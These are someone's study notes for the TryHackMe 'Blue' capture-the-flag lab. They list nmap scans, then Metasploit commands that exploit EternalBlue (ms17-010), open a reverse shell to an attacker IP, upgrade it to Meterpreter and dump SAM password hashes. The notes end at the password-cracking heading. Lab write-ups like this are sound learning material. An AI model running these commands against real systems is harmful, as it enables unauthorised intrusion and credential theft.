**Sources:**

<https://clearinfosec.com/tryhackme-walkthrough-blue/>

<https://steflan-security.com/tryhackme-blue-walkthrough/>

**Task 1 Recon:**

Used nmap to scan for open ports

Nmap -sV -sC -Pn -A -T3 <ip>

SMB vulnerability enumeration scanning using built in scripts:

Nmap --script vuln -p445 <ip>

Text

Description automatically generated

* **Remote code execution** vuln. (ms17-010) through SMBv1.

**Task 2 + 3: Gain Access -> Escalate**

*Attack Vector*: Remote code execution

*Method:* Metasploit frameworks

“use exploit/windows/smb/ms17\_010\_eternablue”

*Note:* Should run an Auxiliary Scan to make sure the host is truly vulnerable to that flaw

**use** **auxiliary/scanner/smb/smb\_ms17\_010**

Let Attack!

Gain Shell Access 1st ( Not ~~metepreter session~~ yet)

Show options --- show module para options

set payload windows/x64/shell/reverse\_tcp -- set shell payload

set RHOST <victim ip>

set LHOST <attacker ip>

**run !**

Upgrade to **Meterpreter** session Access

**CTR + Z** put the current **normal** shell in background

Sessionto check the background shell(s)

Search shell\_to\_meterpreter

Use post/multi/manage/shell\_to\_meterpreter

Show options -> know that need to change the SESSION

Set session <id to upgrade>

Set LHOST attacker ip

**Run !**

Actions

Ps - View running processes

Migrate – di chuyển sang process khác của victim

Hashdump – dump the contents from SAM database.

**Task 4: Password Cracking**